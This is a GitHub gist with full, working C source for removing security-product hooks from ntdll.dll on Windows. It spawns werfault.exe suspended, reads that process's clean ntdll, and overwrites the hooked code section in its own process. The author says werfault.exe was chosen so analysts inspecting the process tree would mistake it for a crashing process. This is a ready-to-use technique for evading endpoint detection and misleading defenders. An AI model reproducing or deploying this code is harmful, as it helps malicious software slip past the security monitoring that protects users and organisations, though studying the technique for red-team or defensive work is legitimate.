Skip to content

Instantly share code, notes, and snippets.

@wizardy0ga
Last active June 23, 2024 16:39
Show Gist options
  • Save wizardy0ga/f53f4920d0e1d2f228e4d804f0938c6e to your computer and use it in GitHub Desktop.
Save wizardy0ga/f53f4920d0e1d2f228e4d804f0938c6e to your computer and use it in GitHub Desktop.
Unhooking ntdll using a copy from a suspended process
/*
Author:
wizardy0ga
Date:
June 2024
Arch:
x64
Compiler:
MSVC
Description:
Unhook ntdll using a copy from a process created in a suspended state.
Note:
I chose werfault.exe as the process to suspend as it makes this process appear to be crashing
when analyzing the process tree with a tool such as procexp, process hacker or systeminformer.
*/
#include <windows.h>
#include "stdio.h"
#define check_dos(dos_header) if (dos_header->e_magic != IMAGE_DOS_SIGNATURE) { printf("[!] dos header mismatch\n"); return -1; }
#define check_nt(nt_header) if (nt_header->Signature != IMAGE_NT_SIGNATURE) { printf("[!] nt header mismatch\n" ); return -1; }
/* structs resourced from https://ntdoc.m417z.com/ */
typedef struct _PEB_LDR_DATA
{
ULONG Length;
BOOLEAN Initialized;
HANDLE SsHandle;
LIST_ENTRY InLoadOrderModuleList;
} PEB_LDR_DATA, * PPEB_LDR_DATA;
typedef struct _UNICODE_STRING
{
USHORT Length;
USHORT MaximumLength;
_Field_size_bytes_part_opt_(MaximumLength, Length) PWCH Buffer;
} UNICODE_STRING, * PUNICODE_STRING;
typedef BOOLEAN(NTAPI* PLDR_INIT_ROUTINE)(
_In_ PVOID DllHandle,
_In_ ULONG Reason,
_In_opt_ PVOID Context
);
typedef struct _LDR_DATA_TABLE_ENTRY {
LIST_ENTRY InLoadOrderLinks;
LIST_ENTRY InMemoryOrderLinks;
LIST_ENTRY InInitializationOrderLinks;
PVOID DllBase;
PLDR_INIT_ROUTINE EntryPoint;
ULONG SizeOfImage;
UNICODE_STRING FullDllName;
UNICODE_STRING BaseDllName;
} LDR_DATA_TABLE_ENTRY, * PLDR_DATA_TABLE_ENTRY;
/* Borrowed from MSDN */
typedef struct _PEB
{
BYTE Reserved1[2];
BYTE BeingDebugged;
BYTE Reserved2[1];
PVOID Reserved3[2];
PPEB_LDR_DATA Ldr;
} PEB, * PPEB;
int main() {
DWORD OldProtection = 0;
SIZE_T SizeOfNtDllTxt = 0,
BytesRead = 0,
BytesWritten = 0,
SizeOfNtDllImage = 0;
PVOID pLocalNtDllBase = NULL,
pLocalTextSection = NULL,
pUnhookedTextSection = NULL,
pUnhookedNtDllBase = NULL;
WCHAR NtDll[MAX_PATH] = { 0 },
TargetProcess[MAX_PATH] = L"C:\\Windows\\System32\\werfault.exe";
int StringSize = 0;
PIMAGE_DOS_HEADER pLocalDos = NULL,
pUnhookedDos = NULL;
PIMAGE_NT_HEADERS pLocalNt = NULL,
pUnhookedNt = NULL;
STARTUPINFO Si = { 0 };
PROCESS_INFORMATION Pi = { 0 };
/* Get the base address of ntdll in the local process. https://gist.github.com/wizardy0ga/cf8d469ea09515dc33eaf869d0fd8c03 */
PPEB pPeb = (PPEB)__readgsqword(0x60);
PLDR_DATA_TABLE_ENTRY pEntry = NULL;
for (
pEntry = (PLDR_DATA_TABLE_ENTRY)pPeb->Ldr->InLoadOrderModuleList.Flink;
pEntry->DllBase != NULL;
pEntry = (PLDR_DATA_TABLE_ENTRY)pEntry->InLoadOrderLinks.Flink
) {
StringSize = lstrlen(pEntry->BaseDllName.Buffer);
if (StringSize < sizeof(NtDll)) {
int i = 0;
for (; i < StringSize; i++) { NtDll[i] = towlower(pEntry->BaseDllName.Buffer[i]); }
NtDll[i++] = '\0';
if (lstrcmpW(NtDll, L"ntdll.dll") == 0) {
pLocalNtDllBase = pEntry->DllBase;
}
}
}
if (!pLocalNtDllBase) {
printf("[!] failed to locate ntdll.dll\n"); return -1;
}
printf("[+] found local ntdll base at 0x%p\n", pLocalNtDllBase);
/* Get the size & location of the hooked text section */
pLocalDos = (PIMAGE_DOS_HEADER)pLocalNtDllBase;
check_dos(pLocalDos);
pLocalNt = (PIMAGE_NT_HEADERS)((PBYTE)pLocalNtDllBase + pLocalDos->e_lfanew);
check_nt(pLocalNt);
SizeOfNtDllImage = pLocalNt->OptionalHeader.SizeOfImage;
SizeOfNtDllTxt = pLocalNt->OptionalHeader.SizeOfCode;
pLocalTextSection = (PVOID)((ULONG_PTR)pLocalNtDllBase + pLocalNt->OptionalHeader.BaseOfCode);
if (!SizeOfNtDllTxt || !pLocalNtDllBase) {
printf("[!] could not locate ntdll text section address or size.\n"); return -1;
}
printf("[+] found ntdll text section at 0x%p. size: %lld bytes\n", pLocalTextSection, SizeOfNtDllTxt);
/* Create a suspended process, copy unhooked ntdll into this process memory */
RtlSecureZeroMemory(&Si, sizeof(STARTUPINFO));
RtlSecureZeroMemory(&Pi, sizeof(PROCESS_INFORMATION));
Si.cb = sizeof(STARTUPINFO);
if (!CreateProcessW(NULL, TargetProcess, NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, &Si, &Pi)) {
printf("[!] Failed to create suspended %S process.\n", TargetProcess);
}
printf("[+] Created suspended %S process at pid %d\n", TargetProcess, Pi.dwProcessId);
/* Read unhooked ntdll from the suspended process */
pUnhookedNtDllBase = VirtualAlloc(NULL, SizeOfNtDllImage, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
if (!pUnhookedNtDllBase) {
printf("VirtualAlloc failed with error: 0x%d", GetLastError()); return -1;
}
if (!ReadProcessMemory(Pi.hProcess, pLocalNtDllBase, pUnhookedNtDllBase, SizeOfNtDllImage, &BytesRead)) {
printf("[!] ReadProcessMemory failed with error: 0x%d\n", GetLastError()); return -1;
}
printf("[+] Copied ntdll from %S [%d] to %lld byte buffer at 0x%p\n", TargetProcess, Pi.dwProcessId, SizeOfNtDllImage, pUnhookedNtDllBase);
/* Get the location of unhooked text section */
pUnhookedDos = (PIMAGE_DOS_HEADER)pUnhookedNtDllBase;
check_dos(pUnhookedDos);
pUnhookedNt = (PIMAGE_NT_HEADERS)((PBYTE)pUnhookedNtDllBase + pUnhookedDos->e_lfanew);
check_nt(pUnhookedNt);
pUnhookedTextSection = (PVOID)((ULONG_PTR)pUnhookedNtDllBase + pUnhookedNt->OptionalHeader.BaseOfCode);
if (!pUnhookedTextSection) {
printf("[!] could not locate unhooked ntdll text section\n"); return -1;
}
printf("[+] found unhooked ntdll text section at 0x%p\n", pUnhookedTextSection);
/* Copy unhooked text section into hooked section to complete ntdll unhooking */
if (!VirtualProtect(pLocalTextSection, SizeOfNtDllTxt, PAGE_EXECUTE_WRITECOPY, &OldProtection)) {
printf("[!] VritualProtect [WCX] failed with error: %d\n", GetLastError()); return -1;
}
if (!WriteProcessMemory((HANDLE)-1, pLocalTextSection, pUnhookedTextSection, SizeOfNtDllTxt, &BytesWritten)) {
printf("[!] WriteProcessMemory failed with error: 0x%d\n", GetLastError()); return -1;
}
printf("[+] Copied unhooked text section into hooked text section\n");
if (!VirtualProtect(pLocalTextSection, SizeOfNtDllTxt, OldProtection, &OldProtection)) {
printf("[!] VirualProtect [return] failed with error: 0x%d\n", GetLastError()); return -1;
}
printf("[+] Successfully unhooked ntdll! press enter to cleanup."); getchar();
if (!TerminateProcess(Pi.hProcess, 0)) {
printf("[!] TerminateProcess failed with error: %d\n", GetLastError());
}
if (!VirtualFree(pUnhookedNtDllBase, 0, MEM_RELEASE)) {
printf("[!] VirtualFree failed with error: 0x%d\n", GetLastError()); return -1;
}
printf("[+] Clean exit!\n");
return 0;
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment